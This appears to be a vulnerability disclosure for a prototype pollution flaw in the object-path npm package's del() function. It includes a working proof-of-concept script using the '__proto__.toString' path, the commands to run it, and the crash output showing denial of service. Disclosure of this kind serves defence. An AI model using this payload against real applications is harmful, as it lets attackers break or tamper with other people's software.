Description

object-path package is vulnerable to Prototype Pollution. The del() function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like toString on all objects.

Proof of Concept

Create the following PoC file:

// PoC.js
const objectPath = require('object-path');
console.log("Before : " + ({}).toString());
objectPath.withInheritedProps.del({}, '__proto__.toString');
console.log("After : " + ({}).toString());

Execute the following commands in the terminal:

npm i object-path # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : [object Object]
console.log("After : " + ({}).toString());
                              ^

TypeError: {}.toString is not a function

Impact

Affected versions of this package are vulnerable to Denial of Service (DoS) via the del function.